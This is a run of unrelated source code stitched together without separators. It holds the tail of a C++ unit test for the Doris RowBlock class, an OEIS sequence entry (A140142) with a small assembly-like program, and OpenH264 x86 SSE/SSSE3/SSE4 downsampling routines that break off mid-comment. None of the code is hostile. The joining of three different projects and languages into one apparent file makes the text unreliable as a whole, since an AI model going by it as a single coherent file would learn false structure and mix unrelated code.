block.init(block_info); RowCursor row; row.init(tablet_schema); for (int i = 0; i < 5; ++i) { block.get_row(i, &row); // bigint { int64_t val = i; row.set_not_null(0); row.set_field_content(0, (const char*)&val, block.mem_pool()); } // char { char buf[10]; memset(buf, 'a' + i, 10); Slice val(buf, 10); row.set_not_null(1); row.set_field_content(1, (const char*)&val, block.mem_pool()); } // varchar { char buf[10]; memset(buf, '0' + i, 10); Slice val(buf, 10); row.set_not_null(2); row.set_field_content(2, (const char*)&val, block.mem_pool()); } } block.finalize(5); EXPECT_EQ(5, block.row_num()); } TEST_F(TestRowBlock, write_and_read_without_nullbyte) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = false; block.init(block_info); RowCursor row; row.init(tablet_schema); for (int i = 0; i < 5; ++i) { block.get_row(i, &row); // bigint { int64_t val = i; row.set_not_null(0); row.set_field_content(0, (const char*)&val, block.mem_pool()); } // char { char buf[10]; memset(buf, 'a' + i, 10); Slice val(buf, 10); row.set_not_null(1); row.set_field_content(1, (const char*)&val, block.mem_pool()); } // varchar { char buf[10]; memset(buf, '0' + i, 10); Slice val(buf, 10); row.set_not_null(2); row.set_field_content(2, (const char*)&val, block.mem_pool()); } } block.finalize(5); EXPECT_EQ(5, block.row_num()); } TEST_F(TestRowBlock, compress_failed) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; block.init(block_info); RowCursor row; row.init(tablet_schema); for (int i = 0; i < 5; ++i) { block.get_row(i, &row); // bigint { int64_t val = i; row.set_field_content(0, (const char*)&val, block.mem_pool()); } // char { char buf[10]; memset(buf, 'a' + i, 10); Slice val(buf, 10); row.set_field_content(1, (const char*)&val, block.mem_pool()); } // varchar { char buf[10]; memset(buf, '0' + i, 10); Slice val(buf, 10); row.set_field_content(2, (const char*)&val, block.mem_pool()); } } block.finalize(5); EXPECT_EQ(5, block.row_num()); } TEST_F(TestRowBlock, decompress_failed) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; block.init(block_info); RowCursor row; row.init(tablet_schema); for (int i = 0; i < 5; ++i) { block.get_row(i, &row); // bigint { int64_t val = i; row.set_field_content(0, (const char*)&val, block.mem_pool()); } // char { char buf[10]; memset(buf, 'a' + i, 10); Slice val(buf, 10); row.set_field_content(1, (const char*)&val, block.mem_pool()); } // varchar { char buf[10]; memset(buf, '0' + i, 10); Slice val(buf, 10); row.set_field_content(2, (const char*)&val, block.mem_pool()); } } block.finalize(5); EXPECT_EQ(5, block.row_num()); } TEST_F(TestRowBlock, clear) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; block.init(block_info); block.finalize(5); EXPECT_EQ(5, block.row_num()); EXPECT_EQ(1024, block.capacity()); block.clear(); EXPECT_EQ(1024, block.row_num()); } TEST_F(TestRowBlock, pos_limit) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; block.init(block_info); // assert init value EXPECT_EQ(0, block.pos()); EXPECT_EQ(0, block.limit()); EXPECT_FALSE(block.has_remaining()); EXPECT_EQ(DEL_PARTIAL_SATISFIED, block.block_status()); block.set_limit(100); EXPECT_EQ(100, block.limit()); EXPECT_TRUE(block.has_remaining()); EXPECT_EQ(100, block.remaining()); block.set_pos(2); EXPECT_TRUE(block.has_remaining()); EXPECT_EQ(98, block.remaining()); block.pos_inc(); EXPECT_TRUE(block.has_remaining()); EXPECT_EQ(97, block.remaining()); block.set_block_status(DEL_SATISFIED); EXPECT_EQ(DEL_SATISFIED, block.block_status()); } } // namespace doris
; A140142: a(1)=1, a(n)=a(n-1)+n^0 if n odd, a(n)=a(n-1)+ n^4 if n is even. ; 1,17,18,274,275,1571,1572,5668,5669,15669,15670,36406,36407,74823,74824,140360,140361,245337,245338,405338,405339,639595,639596,971372,971373,1428349,1428350,2043006,2043007,2853007,2853008,3901584,3901585,5237921,5237922,6917538,6917539,9002675,9002676,11562676,11562677,14674373,14674374,18422470,18422471,22899927,22899928,28208344,28208345,34458345,34458346,41769962,41769963,50273019,50273020,60107516,60107517,71424013,71424014,84384014,84384015,99160351,99160352,115937568,115937569,134912305,134912306,156293682,156293683,180303683,180303684,207177540,207177541,237164117,237164118,270526294,270526295,307541351,307541352,348501352,348501353,393713529,393713530,443500666,443500667,498201483,498201484,558171020,558171021,623781021,623781022,695420318,695420319,773495215,773495216,858429872,858429873,950666689,950666690,1050666690 mov $2,$0 mov $3,$0 add $3,1 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 lpb $0 sub $0,1 mod $0,2 sub $0,1 lpe add $0,1 pow $0,4 add $1,$0 lpe mov $0,$1
;*! ;* \copy ;* Copyright (c) 2009-2013, Cisco Systems ;* All rights reserved. ;* ;* Redistribution and use in source and binary forms, with or without ;* modification, are permitted provided that the following conditions ;* are met: ;* ;* * Redistributions of source code must retain the above copyright ;* notice, this list of conditions and the following disclaimer. ;* ;* * Redistributions in binary form must reproduce the above copyright ;* notice, this list of conditions and the following disclaimer in ;* the documentation and/or other materials provided with the ;* distribution. ;* ;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS ;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;* POSSIBILITY OF SUCH DAMAGE. ;* ;* ;* upsampling.asm ;* ;* Abstract ;* SIMD for pixel domain down sampling ;* ;* History ;* 10/22/2009 Created ;* ;*************************************************************************/ %include "asm_inc.asm" BITS 32 ;*********************************************************************** ; Macros and other preprocessor constants ;*********************************************************************** ;*********************************************************************** ; Some constants ;*********************************************************************** ;*********************************************************************** ; Local Data (Read Only) ;*********************************************************************** SECTION .rodata align=16 ;*********************************************************************** ; Various memory constants (trigonometric values or rounding values) ;*********************************************************************** ALIGN 16 shufb_mask_low: db 00h, 80h, 02h, 80h, 04h, 80h, 06h, 80h, 08h, 80h, 0ah, 80h, 0ch, 80h, 0eh, 80h shufb_mask_high: db 01h, 80h, 03h, 80h, 05h, 80h, 07h, 80h, 09h, 80h, 0bh, 80h, 0dh, 80h, 0fh, 80h ALIGN 16 ;*********************************************************************** ; Code ;*********************************************************************** SECTION .text WELS_EXTERN DyadicBilinearDownsamplerWidthx32_sse ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx32_sse( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx32_sse: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $4 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 32 bytes .xloops: ; 1st part horizonal loop: x16 bytes ; mem hi<- ->lo ;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E ;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M ;=> target: ;: H G F E D C B A, P O N M L K J I ;: h g f e d c b a, p o n m l k j i ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movq mm0, [esi] ; 1st pSrc line movq mm1, [esi+8] ; 1st pSrc line + 8 movq mm2, [esi+ecx] ; 2nd pSrc line movq mm3, [esi+ecx+8] ; 2nd pSrc line + 8 ; to handle mm0, mm1, mm2, mm3 pshufw mm4, mm0, 0d8h ; d D b B c C a A ; 11011000 B pshufw mm5, mm4, 04eh ; c C a A d D b B ; 01001110 B punpcklbw mm4, mm5 ; d c D C b a B A pshufw mm4, mm4, 0d8h ; d c b a D C B A ; 11011000 B: mm4 pshufw mm5, mm1, 0d8h ; h H f F g G e E ; 11011000 B pshufw mm6, mm5, 04eh ; g G e E h H f F ; 01001110 B punpcklbw mm5, mm6 ; h g H G f e F E pshufw mm5, mm5, 0d8h ; h g f e H G F E ; 11011000 B: mm5 pshufw mm6, mm2, 0d8h ; l L j J k K i I ; 11011000 B pshufw mm7, mm6, 04eh ; k K i I l L j J ; 01001110 B punpcklbw mm6, mm7 ; l k L K j i J I pshufw mm6, mm6, 0d8h ; l k j i L K J I ; 11011000 B: mm6 pshufw mm7, mm3, 0d8h ; p P n N o O m M ; 11011000 B pshufw mm0, mm7, 04eh ; o O m M p P n N ; 01001110 B punpcklbw mm7, mm0 ; p o P O n m N M pshufw mm7, mm7, 0d8h ; p o n m P O N M ; 11011000 B: mm7 ; to handle mm4, mm5, mm6, mm7 movq mm0, mm4 ; punpckldq mm0, mm5 ; H G F E D C B A punpckhdq mm4, mm5 ; h g f e d c b a movq mm1, mm6 punpckldq mm1, mm7 ; P O N M L K J I punpckhdq mm6, mm7 ; p o n m l k j i ; avg within MB horizon width (16 x 2 lines) pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1 pavgb mm1, mm6 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2 pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once ; 2nd part horizonal loop: x16 bytes ; mem hi<- ->lo ;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E ;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M ;=> target: ;: H G F E D C B A, P O N M L K J I ;: h g f e d c b a, p o n m l k j i ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movq mm1, [esi+16] ; 1st pSrc line + 16 movq mm2, [esi+24] ; 1st pSrc line + 24 movq mm3, [esi+ecx+16] ; 2nd pSrc line + 16 movq mm4, [esi+ecx+24] ; 2nd pSrc line + 24 ; to handle mm1, mm2, mm3, mm4 pshufw mm5, mm1, 0d8h ; d D b B c C a A ; 11011000 B pshufw mm6, mm5, 04eh ; c C a A d D b B ; 01001110 B punpcklbw mm5, mm6 ; d c D C b a B A pshufw mm5, mm5, 0d8h ; d c b a D C B A ; 11011000 B: mm5 pshufw mm6, mm2, 0d8h ; h H f F g G e E ; 11011000 B pshufw mm7, mm6, 04eh ; g G e E h H f F ; 01001110 B punpcklbw mm6, mm7 ; h g H G f e F E pshufw mm6, mm6, 0d8h ; h g f e H G F E ; 11011000 B: mm6 pshufw mm7, mm3, 0d8h ; l L j J k K i I ; 11011000 B pshufw mm1, mm7, 04eh ; k K i I l L j J ; 01001110 B punpcklbw mm7, mm1 ; l k L K j i J I pshufw mm7, mm7, 0d8h ; l k j i L K J I ; 11011000 B: mm7 pshufw mm1, mm4, 0d8h ; p P n N o O m M ; 11011000 B pshufw mm2, mm1, 04eh ; o O m M p P n N ; 01001110 B punpcklbw mm1, mm2 ; p o P O n m N M pshufw mm1, mm1, 0d8h ; p o n m P O N M ; 11011000 B: mm1 ; to handle mm5, mm6, mm7, mm1 movq mm2, mm5 punpckldq mm2, mm6 ; H G F E D C B A punpckhdq mm5, mm6 ; h g f e d c b a movq mm3, mm7 punpckldq mm3, mm1 ; P O N M L K J I punpckhdq mm7, mm1 ; p o n m l k j i ; avg within MB horizon width (16 x 2 lines) pavgb mm2, mm5 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1 pavgb mm3, mm7 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2 pavgb mm2, mm3 ; (temp_row1+temp_row2+1)>>1, done in another 2nd horizonal part movq [edi ], mm0 movq [edi+8], mm2 ; next SMB lea esi, [esi+32] lea edi, [edi+16] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops WELSEMMS pop ebp pop edi pop esi pop edx pop ebx ret WELS_EXTERN DyadicBilinearDownsamplerWidthx16_sse ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx16_sse( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx16_sse: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $3 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 16 bytes .xloops: ; 1st part horizonal loop: x16 bytes ; mem hi<- ->lo ;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E ;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M ;=> target: ;: H G F E D C B A, P O N M L K J I ;: h g f e d c b a, p o n m l k j i ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movq mm0, [esi] ; 1st pSrc line movq mm1, [esi+8] ; 1st pSrc line + 8 movq mm2, [esi+ecx] ; 2nd pSrc line movq mm3, [esi+ecx+8] ; 2nd pSrc line + 8 ; to handle mm0, mm1, mm2, mm3 pshufw mm4, mm0, 0d8h ; d D b B c C a A ; 11011000 B pshufw mm5, mm4, 04eh ; c C a A d D b B ; 01001110 B punpcklbw mm4, mm5 ; d c D C b a B A pshufw mm4, mm4, 0d8h ; d c b a D C B A ; 11011000 B: mm4 pshufw mm5, mm1, 0d8h ; h H f F g G e E ; 11011000 B pshufw mm6, mm5, 04eh ; g G e E h H f F ; 01001110 B punpcklbw mm5, mm6 ; h g H G f e F E pshufw mm5, mm5, 0d8h ; h g f e H G F E ; 11011000 B: mm5 pshufw mm6, mm2, 0d8h ; l L j J k K i I ; 11011000 B pshufw mm7, mm6, 04eh ; k K i I l L j J ; 01001110 B punpcklbw mm6, mm7 ; l k L K j i J I pshufw mm6, mm6, 0d8h ; l k j i L K J I ; 11011000 B: mm6 pshufw mm7, mm3, 0d8h ; p P n N o O m M ; 11011000 B pshufw mm0, mm7, 04eh ; o O m M p P n N ; 01001110 B punpcklbw mm7, mm0 ; p o P O n m N M pshufw mm7, mm7, 0d8h ; p o n m P O N M ; 11011000 B: mm7 ; to handle mm4, mm5, mm6, mm7 movq mm0, mm4 ; punpckldq mm0, mm5 ; H G F E D C B A punpckhdq mm4, mm5 ; h g f e d c b a movq mm1, mm6 punpckldq mm1, mm7 ; P O N M L K J I punpckhdq mm6, mm7 ; p o n m l k j i ; avg within MB horizon width (16 x 2 lines) pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1 pavgb mm1, mm6 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2 pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once movq [edi ], mm0 ; next SMB lea esi, [esi+16] lea edi, [edi+8] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops WELSEMMS pop ebp pop edi pop esi pop edx pop ebx ret WELS_EXTERN DyadicBilinearDownsamplerWidthx8_sse ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx8_sse( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx8_sse: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $2 ; (iSrcWidth >> 1) / 4 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 8 bytes .xloops: ; 1st part horizonal loop: x8 bytes ; mem hi<- ->lo ;1st Line Src: mm0: d D c C b B a A ;2nd Line Src: mm1: h H g G f F e E ;=> target: ;: H G F E D C B A ;: h g f e d c b a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movq mm0, [esi] ; 1st pSrc line movq mm1, [esi+ecx] ; 2nd pSrc line ; to handle mm0, mm1, mm2, mm3 pshufw mm2, mm0, 0d8h ; d D b B c C a A ; 11011000 B pshufw mm3, mm2, 04eh ; c C a A d D b B ; 01001110 B punpcklbw mm2, mm3 ; d c D C b a B A pshufw mm2, mm2, 0d8h ; d c b a D C B A ; 11011000 B: mm4 pshufw mm4, mm1, 0d8h ; h H f F g G e E ; 11011000 B pshufw mm5, mm4, 04eh ; g G e E h H f F ; 01001110 B punpcklbw mm4, mm5 ; h g H G f e F E pshufw mm4, mm4, 0d8h ; h g f e H G F E ; 11011000 B: mm5 ; to handle mm2, mm4 movq mm0, mm2 ; punpckldq mm0, mm4 ; H G F E D C B A punpckhdq mm2, mm4 ; h g f e d c b a ; avg within MB horizon width (16 x 2 lines) pavgb mm0, mm2 ; (H+h+1)>>1, .., (A+a+1)>>1, temp_row1, 2 pshufw mm1, mm0, 04eh ; 01001110 B pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once movd [edi], mm0 ; next unit lea esi, [esi+8] lea edi, [edi+4] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops WELSEMMS pop ebp pop edi pop esi pop edx pop ebx ret ; got about 50% improvement over DyadicBilinearDownsamplerWidthx32_sse WELS_EXTERN DyadicBilinearDownsamplerWidthx32_ssse3 ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx32_ssse3( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx32_ssse3: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 movdqa xmm7, [shufb_mask_low] ; mask low movdqa xmm6, [shufb_mask_high] ; mask high .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $4 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 32 bytes .xloops: ; 1st part horizonal loop: x16 bytes ; mem hi<- ->lo ;1st Line Src: xmm0: h H g G f F e E d D c C b B a A ; xmm1: p P o O n N m M l L k K j J i I ;2nd Line Src: xmm2: h H g G f F e E d D c C b B a A ; xmm3: p P o O n N m M l L k K j J i I ;=> target: ;: P O N M L K J I H G F E D C B A ;: p o n m l k j i h g f e d c b a ;: P .. A ;: p .. a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movdqa xmm0, [esi] ; 1st_src_line movdqa xmm1, [esi+16] ; 1st_src_line + 16 movdqa xmm2, [esi+ecx] ; 2nd_src_line movdqa xmm3, [esi+ecx+16] ; 2nd_src_line + 16 ; packing & avg movdqa xmm4, xmm0 ; h H g G f F e E d D c C b B a A pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A pshufb xmm4, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a ; another implementation for xmm4 high bits ; psubb xmm4, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0 ; psrlw xmm4, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a pavgb xmm0, xmm4 movdqa xmm5, xmm1 pshufb xmm1, xmm7 pshufb xmm5, xmm6 ; psubb xmm5, xmm1 ; psrlw xmm5, 8 pavgb xmm1, xmm5 movdqa xmm4, xmm2 pshufb xmm2, xmm7 pshufb xmm4, xmm6 ; psubb xmm4, xmm2 ; psrlw xmm4, 8 pavgb xmm2, xmm4 movdqa xmm5, xmm3 pshufb xmm3, xmm7 pshufb xmm5, xmm6 ; psubb xmm5, xmm3 ; psrlw xmm5, 8 pavgb xmm3, xmm5 packuswb xmm0, xmm1 packuswb xmm2, xmm3 pavgb xmm0, xmm2 ; write pDst movdqa [edi], xmm0 ; next SMB lea esi, [esi+32] lea edi, [edi+16] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops pop ebp pop edi pop esi pop edx pop ebx ret WELS_EXTERN DyadicBilinearDownsamplerWidthx16_ssse3 ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx16_ssse3( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx16_ssse3: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 movdqa xmm7, [shufb_mask_low] ; mask low movdqa xmm6, [shufb_mask_high] ; mask high .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $3 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 16 bytes .xloops: ; horizonal loop: x16 bytes by source ; mem hi<- ->lo ;1st line pSrc: xmm0: h H g G f F e E d D c C b B a A ;2nd line pSrc: xmm1: p P o O n N m M l L k K j J i I ;=> target: ;: H G F E D C B A, P O N M L K J I ;: h g f e d c b a, p o n m l k j i ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movdqa xmm0, [esi] ; 1st_src_line movdqa xmm1, [esi+ecx] ; 2nd_src_line ; packing & avg movdqa xmm2, xmm0 ; h H g G f F e E d D c C b B a A pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A pshufb xmm2, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a ; another implementation for xmm2 high bits ; psubb xmm2, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0 ; psrlw xmm2, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a pavgb xmm0, xmm2 movdqa xmm3, xmm1 pshufb xmm1, xmm7 pshufb xmm3, xmm6 ; psubb xmm3, xmm1 ; psrlw xmm3, 8 pavgb xmm1, xmm3 pavgb xmm0, xmm1 packuswb xmm0, xmm1 ; write pDst movq [edi], xmm0 ; next SMB lea esi, [esi+16] lea edi, [edi+8] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops pop ebp pop edi pop esi pop edx pop ebx ret ; got about 65% improvement over DyadicBilinearDownsamplerWidthx32_sse WELS_EXTERN DyadicBilinearDownsamplerWidthx32_sse4 ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx32_sse4( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx32_sse4: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 movdqa xmm7, [shufb_mask_low] ; mask low movdqa xmm6, [shufb_mask_high] ; mask high .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $4 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 32 bytes .xloops: ; 1st part horizonal loop: x16 bytes ; mem hi<- ->lo ;1st Line Src: xmm0: h H g G f F e E d D c C b B a A ; xmm1: p P o O n N m M l L k K j J i I ;2nd Line Src: xmm2: h H g G f F e E d D c C b B a A ; xmm3: p P o O n N m M l L k K j J i I ;=> target: ;: P O N M L K J I H G F E D C B A ;: p o n m l k j i h g f e d c b a ;: P .. A ;: p .. a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movntdqa xmm0, [esi] ; 1st_src_line movntdqa xmm1, [esi+16] ; 1st_src_line + 16 movntdqa xmm2, [esi+ecx] ; 2nd_src_line movntdqa xmm3, [esi+ecx+16] ; 2nd_src_line + 16 ; packing & avg movdqa xmm4, xmm0 ; h H g G f F e E d D c C b B a A pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A pshufb xmm4, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a ; psubb xmm4, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0 ; psrlw xmm4, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a pavgb xmm0, xmm4 movdqa xmm5, xmm1 pshufb xmm1, xmm7 pshufb xmm5, xmm6 ; psubb xmm5, xmm1 ; psrlw xmm5, 8 pavgb xmm1, xmm5 movdqa xmm4, xmm2 pshufb xmm2, xmm7 pshufb xmm4, xmm6 ; psubb xmm4, xmm2 ; psrlw xmm4, 8 pavgb xmm2, xmm4 movdqa xmm5, xmm3 pshufb xmm3, xmm7 pshufb xmm5, xmm6 ; psubb xmm5, xmm3 ; psrlw xmm5, 8 pavgb xmm3, xmm5 packuswb xmm0, xmm1 packuswb xmm2, xmm3 pavgb xmm0, xmm2 ; write pDst movdqa [edi], xmm0 ; next SMB lea esi, [esi+32] lea edi, [edi+16] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops pop ebp pop edi pop esi pop edx pop ebx ret WELS_EXTERN DyadicBilinearDownsamplerWidthx16_sse4 ;*********************************************************************** ; void DyadicBilinearDownsamplerWidthx16_sse4( unsigned char* pDst, const int iDstStride, ; unsigned char* pSrc, const int iSrcStride, ; const int iSrcWidth, const int iSrcHeight ); ;*********************************************************************** ALIGN 16 DyadicBilinearDownsamplerWidthx16_sse4: push ebx push edx push esi push edi push ebp mov edi, [esp+24] ; pDst mov edx, [esp+28] ; iDstStride mov esi, [esp+32] ; pSrc mov ecx, [esp+36] ; iSrcStride mov ebp, [esp+44] ; iSrcHeight sar ebp, $1 ; iSrcHeight >> 1 movdqa xmm7, [shufb_mask_low] ; mask low movdqa xmm6, [shufb_mask_high] ; mask high .yloops: mov eax, [esp+40] ; iSrcWidth sar eax, $1 ; iSrcWidth >> 1 mov ebx, eax ; iDstWidth restored at ebx sar eax, $3 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb neg ebx ; - (iSrcWidth >> 1) ; each loop = source bandwidth: 16 bytes .xloops: ; horizonal loop: x16 bytes by source ; mem hi<- ->lo ;1st line pSrc: xmm0: h H g G f F e E d D c C b B a A ;2nd line pSrc: xmm1: p 